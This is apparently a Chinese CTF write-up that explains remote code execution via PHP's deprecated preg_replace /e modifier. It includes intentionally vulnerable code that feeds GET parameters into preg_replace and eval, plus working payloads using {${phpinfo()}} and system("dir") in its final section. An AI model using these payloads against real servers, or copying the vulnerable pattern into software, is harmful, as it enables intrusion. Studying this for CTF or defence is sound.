> 文章列表 > 关于preg_replace \\e的代码执行

关于preg_replace \\e的代码执行

关于preg_replace \e的代码执行

今天做题的时候,遇到一个很有趣的题目,preg_replace大家都熟悉吧,这个大多是用来过滤使用的,但是说你没想到这个也可以进行命令执行吧。

注意:下面的方法在php7被禁用了

基础

第一阶段-讲解preg_replace

首先我们来了解preg_replace,这是一个php中的函数,主要用于执行一个正则表达式的搜索和替换。

搜索:preg_replace(正则表达式,主字符串)

替换:preg_replace(正则表达式,替换字符串,主字符串)

好这样就明白了

第二阶段-子模式捕获匹配

首先我们来了解一下,什么是子模式的捕获匹配

下面先来一个实例

<?php$str = "abcdec";
$new_str = preg_replace("/(abc)(dec)/", '\\2-\\1', $str);
echo $new_str;
//回显dec-abc

首先这里的过滤表达式是/(abc)(dec)/,这里其中就有两个子模式(abc)和(dec)

在这里面大家肯定注意到了\\2和\\1,这两个其中\\1就是代表(abc)子模式的结果,\\2就是(dec)子模式的结果

下面我们在看一个实例

<?php$str = "abcabcabc";
$new_str = preg_replace("/(a)(b)(c)/", '\\3\\2\\1-', $str);
echo $new_str;
//回显cba-cba-cba-

这里我们分析一下上面,实际上abcabcabc被分成了三组,每组中都是abc,然后再分别取出对应的字符

我们可以这样理解/(a)(b)(c)/可以看成4个过滤表达式,首先过滤/abc/,然后过滤/a/给\\1,过滤/b/给\\2,过滤/c/给\\3
下面是检验,我们的猜测

<?php$str = "babc aabc cabc";
$new_str = preg_replace("/(a)(b)(c)/", '\\3\\2\\1', $str);
echo $new_str;
//回显bcba acba ccba

这里我们可以看到他是没有管多出来的字符的,验证正确

第三阶段-/e执行

我们都知道在正则表达式,可以使用一些修饰符列如i、m、g之类的,这里介绍一个e

/e修饰符会将替换字符串作为PHP代码执行

使用方法也很简单,下面是实例

<?php$a = "phpinfo";
$str = 'string';
$new_str = preg_replace('/abc/e', $a(), $str);
//执行了phpinfo();

第四阶段-子模式和/e的应用场景

这里我们可以控制$a和$str的值,那么怎么执行代码呢,其实我这里挺明显的了,相信大家都可以看出来。

<?php$a = $_GET['a'];
$str = $_GET['b'];
$new_str = preg_replace('/('.$a.')/e', "\\\\1", $str);

应该有人注意到了我这里使用的其实是\\\\1

因为在PHP的双引号字符串中,要表达一个"\\"(反斜杠),我们需要使用"\\\\"(两个反斜杠)进行转义

\\1 不会执行,因为它只是一个替换序列,代表相应的子串。

\\\\1 会执行,因为它被视为一个字符串中的代码。

然后这里进过测试可以使用的有
?a=.*&b=phpinfo()
?a=\\S*&b=phpinfo()
?a=phpinfo\\(\\)&b=phpinfo()

这里分析一下是为什么,首先这里将上面三个传入下面的时候的样子展示出来

preg_replace('/(.*)/e', "\\\\1", phpinfo());
preg_replace('/(\\S*)/e', "\\\\1", phpinfo());
preg_replace('/(phpinfo\\(\\))/e', "\\\\1", phpinfo());

这里我们就讲解第一个了,这里.*是匹配0个或多个字符(任意字符)

然后他就是匹配到了phpinfo(),然后因为他是子模式,所以\\1的值就是phpinfo(),然后因为在双引号中,转义了\\,\\1的值phpinfo()就被当做代码执行了

\\S*匹配的是非空

phpinfo\\\\(\\\\)就是匹配phpinfo()

实例题目讲解

<?phpfunction complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\\n";
}function getFlag(){@eval($_GET['cmd']);
}

首先分析foreach那里,假如我们通过get方法传输?a=b,那么$re的值就是a,$str的值就是b

所以这里$re和$str的值,我们是可以控制的。

这里可以看到其实和上面挺像的,但是我们\\1的值,被当做strtolower参数的值了,如果被当做他参数的值解析了,我们就不能进行命令执行了,这里我们就要仔细观察了,他里面使用的是双引号,外面使用的单引号。

或许经常使用Python的人对这个不敏感,但是其他语言的人应该就比较敏感了,这里单引号在php代表单纯的字符串不会有任何解析,但是双引号在php中他是可以解析里面的变量的

"{${phpinfo()}}";

这里这个phpinfo()执行了,因为在{}中里面的字符串会被当做变量解析,然后里面这个变量他的值是phpinfo()的值,所以他是执行了phpinfo()

payload:?\\S*={${phpinfo()}}?\\{\\$\\{phpinfo\\(\\)\\}\\}={${phpinfo()}}
或者?\\S*={${getFlag()}}&cmd=system("dir");?\\{\\$\\{getFlag\\(\\)\\}\\}={${getFlag()}}&cmd=system("dir");

细心的朋友应该发现了,这次为什么没有.*了,因为在php变量的命名规则中是没有点的,所以他解析的时候不会当成点来解析